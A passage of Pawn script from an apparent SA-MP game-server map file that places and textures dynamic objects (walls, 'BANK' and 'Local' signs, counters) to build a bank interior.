        AG_Bank[212] = CreateDynamicObject(19327,1395.937,1321.530,1501.186,0.000,0.000,150.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[212], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);
        AG_Bank[213] = CreateDynamicObject(19327,1395.923,1327.193,1501.194,0.000,0.000,150.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[213], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);
        AG_Bank[214] = CreateDynamicObject(19327,1399.911,1321.478,1500.537,0.000,0.000,-195.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[214], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 0);
        AG_Bank[215] = CreateDynamicObject(19327,1402.589,1321.241,1501.117,0.000,0.000,-195.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[215], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);
        AG_Bank[216] = CreateDynamicObject(19327,1406.983,1321.245,1501.133,0.000,0.000,-195.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[216], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);
        AG_Bank[217] = CreateDynamicObject(19327,1408.898,1321.248,1501.131,0.000,0.000,-195.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[217], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);

        AG_Bank[218] = CreateDynamicObject(19443, 1399.62415, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[219] = CreateDynamicObject(19443, 1400.97107, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[220] = CreateDynamicObject(19443, 1402.31799, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[221] = CreateDynamicObject(19443, 1403.66504, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[222] = CreateDynamicObject(19443, 1405.01196, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[223] = CreateDynamicObject(19443, 1406.35901, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[224] = CreateDynamicObject(19443, 1407.70605, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[225] = CreateDynamicObject(19443, 1409.05310, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[226] = CreateDynamicObject(19443, 1410.40015, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[227] = CreateDynamicObject(19443, 1400.21631, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[228] = CreateDynamicObject(19443, 1401.56335, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[229] = CreateDynamicObject(19443, 1402.91040, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[230] = CreateDynamicObject(19443, 1404.25745, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[231] = CreateDynamicObject(19443, 1405.60437, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[232] = CreateDynamicObject(19443, 1406.95142, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[233] = CreateDynamicObject(19443, 1408.29834, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[234] = CreateDynamicObject(19443, 1409.64526, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[218], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[219], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[220], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[221], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[222], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[223], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[224], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[225], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[226], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[227], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[228], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[229], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[230], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[231], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[232], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[233], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[234], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        AG_Bank[235] = CreateDynamicObject(19444, 1399.60815, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[236] = CreateDynamicObject(19444, 1399.64014, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[237] = CreateDynamicObject(19444, 1400.23059, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[238] = CreateDynamicObject(19444, 1400.19849, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[239] = CreateDynamicObject(19444, 1400.95520, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[240] = CreateDynamicObject(19444, 1403.64917, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[241] = CreateDynamicObject(19444, 1402.30225, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[242] = CreateDynamicObject(19444, 1404.99622, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[243] = CreateDynamicObject(19444, 1406.34314, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[244] = CreateDynamicObject(19444, 1407.69006, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[245] = CreateDynamicObject(19444, 1409.03711, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[246] = CreateDynamicObject(19444, 1410.38416, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[247] = CreateDynamicObject(19444, 1400.98706, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[248] = CreateDynamicObject(19444, 1402.33411, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[249] = CreateDynamicObject(19444, 1403.68115, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[250] = CreateDynamicObject(19444, 1405.02820, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[251] = CreateDynamicObject(19444, 1406.37524, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[252] = CreateDynamicObject(19444, 1407.72217, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[253] = CreateDynamicObject(19444, 1409.06921, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[254] = CreateDynamicObject(19444, 1410.41626, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[255] = CreateDynamicObject(19444, 1401.57764, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[256] = CreateDynamicObject(19444, 1401.54553, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[257] = CreateDynamicObject(19444, 1402.89246, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[258] = CreateDynamicObject(19444, 1402.92456, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[259] = CreateDynamicObject(19444, 1404.27161, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[260] = CreateDynamicObject(19444, 1404.23950, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[261] = CreateDynamicObject(19444, 1405.58655, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[262] = CreateDynamicObject(19444, 1405.61865, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[263] = CreateDynamicObject(19444, 1406.93347, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[264] = CreateDynamicObject(19444, 1406.96570, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[265] = CreateDynamicObject(19444, 1408.28052, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[266] = CreateDynamicObject(19444, 1408.31274, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[267] = CreateDynamicObject(19444, 1409.65967, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[268] = CreateDynamicObject(19444, 1409.62744, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[235], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[236], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[237], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[238], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[239], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[240], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[241], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[242], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[243], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[244], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[245], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[246], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[247], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[248], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[249], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[250], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[251], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[252], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[253], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[254], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[255], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[256], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[257], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[258], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[259], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[260], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[261], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[262], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[263], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[264], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[265], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[266], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[267], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[268], 0, 1223, "dynsigns", "white64", 0xFF000000);

        AG_Bank[269] = CreateDynamicObject(19327,1408.101,1310.651,1502.122,0.000,73.999,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[269], 0,"(",  130, "Ariel", 199, 0, -9591092, 0, 1);
        AG_Bank[270] = CreateDynamicObject(19327,1406.402,1310.648,1502.151,0.000,0.000,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[270], 0, "Local",  130, "Ariel", 140, 1, -9591092, 0, 1);
        AG_Bank[271] = CreateDynamicObject(19327,1407.198,1310.647,1501.959,0.000,-17.400,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[271], 0, "(",  130, "Ariel", 35, 0, -9591092, 0, 0);
        AG_Bank[272] = CreateDynamicObject(19327,1408.430,1310.648,1502.225,0.000,29.300,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[272],  0,"(",  130, "Ariel", 38, 0, -9591092, 0, 1);
        AG_Bank[273] = CreateDynamicObject(19327,1408.366,1310.647,1502.266,0.000,75.399,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[273], 0, "(",  130, "Ariel", 35, 0, -9591092, 0, 1);
        AG_Bank[274] = CreateDynamicObject(19327,1408.285,1310.645,1502.351,0.000,24.700,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[274], 0, "(",  130, "Ariel", 38, 0, -9591092, 0, 1);
        AG_Bank[275] = CreateDynamicObject(19327,1408.177,1310.645,1502.404,0.000,85.000,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[275], 0, "(",  130, "Ariel", 46, 0, -9591092, 0, 1);
        AG_Bank[276] = CreateDynamicObject(19327,1408.063,1310.645,1502.323,0.000,157.600,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[276],  0,"(",  130, "Ariel", 38, 0, -9591092, 0, 1);
        AG_Bank[277] = CreateDynamicObject(19327,1407.996,1310.644,1502.274,0.000,84.299,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[277], 0, "(",  130, "Ariel", 26, 0, -9591092, 0, 1);
        AG_Bank[278] = CreateDynamicObject(19327,1407.931,1310.648,1502.238,0.000,135.099,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[278], 0, "(",  130, "Ariel", 32, 0, -9591092, 0, 1);
        AG_Bank[279] = CreateDynamicObject(19327,1407.910,1310.648,1502.185,0.000,168.099,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[279], 0, "(",  130, "Ariel", 26, 0, -9591092, 0, 1);
        AG_Bank[280] = CreateDynamicObject(19327,1404.164,1310.648,1502.143,0.000,0.000,180.000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank[280], 0, "BANK",  130, "Ariel", 140, 0, -9591092, 0, 1);

        AG_Bank[281] = CreateDynamicObject(19443, 1404.47388, 1310.55396, 1502.10974,   90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[282] = CreateDynamicObject(19443, 1407.69995, 1310.55200, 1502.10974,   90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[281], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[282], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);

        AG_Bank[283] = CreateDynamicObject(19444, 1409.51624, 1308.96753, 1502.10974,   90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[284] = CreateDynamicObject(19444, 1402.69995, 1308.96753, 1502.10974,   90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[285] = CreateDynamicObject(19444, 1404.36157, 1309.91602, 1502.85925,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[286] = CreateDynamicObject(19444, 1407.85596, 1309.91602, 1502.85925,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[287] = CreateDynamicObject(19444, 1407.85596, 1309.91602, 1501.31616,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[288] = CreateDynamicObject(19444, 1404.36157, 1309.91602, 1501.31616,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[283], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[284], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[285], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[286], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[287], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[288], 0, 10226, "sfeship1", "CJ_WOOD5", 0);

        AG_Bank[292] = CreateDynamicObject(19089, 1412.64795, 1315.85596, 1502.58105,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[293] = CreateDynamicObject(19089, 1412.64795, 1315.83801, 1502.58105,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[294] = CreateDynamicObject(1566, 1412.68774, 1315.84473, 1501.10034,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[295] = CreateDynamicObject(1566, 1412.68774, 1314.26196, 1501.10034,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[296] = CreateDynamicObject(2040, 1412.62488, 1315.81836, 1502.68420,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[297] = CreateDynamicObject(1854, 1412.67542, 1315.82080, 1502.66687,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[297], 0, 2360, "shopping_acc", "white", 0xFFCC0000);
        SetDynamicObjectMaterial( AG_Bank[296], 0, 2360, "shopping_acc", "white", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank[292], 0, 2360, "shopping_acc", "white", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[293], 0, 2360, "shopping_acc", "white", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[294], 0, 19325, "lsmall_shops", "lsmall_window01", 0);
        SetDynamicObjectMaterial( AG_Bank[295], 0, 19325, "lsmall_shops", "lsmall_window01", 0);

        CreateDynamicObject(1886, 1409.31372, 1323.80005, 1503.57764,   20.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(1886, 1407.03870, 1323.80005, 1503.57764,   20.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(1886, 1402.94373, 1323.80005, 1503.57764,   20.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(1886, 1400.66870, 1323.80005, 1503.57764,   20.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2269, 1406.17676, 1323.37561, 1501.53857,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2266, 1399.11719, 1311.73401, 1502.31775,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2270, 1392.39514, 1319.99866, 1501.76013,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(2265, 1393.06165, 1328.87427, 1501.90894,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
    CreateDynamicObject(1965, 1389.72009, 1318.92175, 1497.80042,   180.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);




        AG_Bank2[0] = CreateDynamicObject(19377, 1397.05444, 1320.60864, 1500.00000,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[1] = CreateDynamicObject(19377, 1402.86365, 1310.97815, 1499.99805,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[2] = CreateDynamicObject(19377, 1407.38416, 1320.60071, 1499.99805,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[3] = CreateDynamicObject(19377, 1407.38464, 1310.97876, 1500.00195,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[75] = CreateDynamicObject(19377, 1392.75269, 1330.16150, 1500.00195,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[76] = CreateDynamicObject(14407, 1395.54675, 1314.59460, 1496.87964,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[77] = CreateDynamicObject(19377, 1392.39172, 1314.38013, 1497.02747,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[0], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[1], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[2], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[3], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[75], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[76], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFF626262);
        SetDynamicObjectMaterial( AG_Bank2[77], 0, 10938, "skyscrap_sfse", "concpanel_la",  0xFF626262);

        AG_Bank2[4] = CreateDynamicObject(2229, 1409.87744, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[5] = CreateDynamicObject(2229, 1410.49170, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[6] = CreateDynamicObject(2229, 1410.49133, 1321.59106, 1500.07617,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[7] = CreateDynamicObject(2229, 1407.95337, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[8] = CreateDynamicObject(2229, 1408.56763, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[9] = CreateDynamicObject(2229, 1406.02942, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[10] = CreateDynamicObject(2229, 1406.64355, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[11] = CreateDynamicObject(2229, 1406.64331, 1321.59106, 1500.07617,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[12] = CreateDynamicObject(2229, 1403.62439, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[13] = CreateDynamicObject(2229, 1404.23865, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[14] = CreateDynamicObject(2229, 1404.23547, 1321.61084, 1500.07617,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[15] = CreateDynamicObject(2229, 1401.70044, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[16] = CreateDynamicObject(2229, 1402.31458, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[17] = CreateDynamicObject(2229, 1399.77637, 1320.26294, 1500.07629,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[18] = CreateDynamicObject(2229, 1400.39063, 1321.15552, 1500.07825,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[19] = CreateDynamicObject(2229, 1400.38745, 1321.61084, 1500.07617,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[4], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[5], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[6], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[7], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[8], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[9], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[10], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[11], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[12], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[13], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[14], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[15], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[16], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[17], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[18], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[19], 0, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[4], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[5], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[6], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[7], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[8], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[9], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[10], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
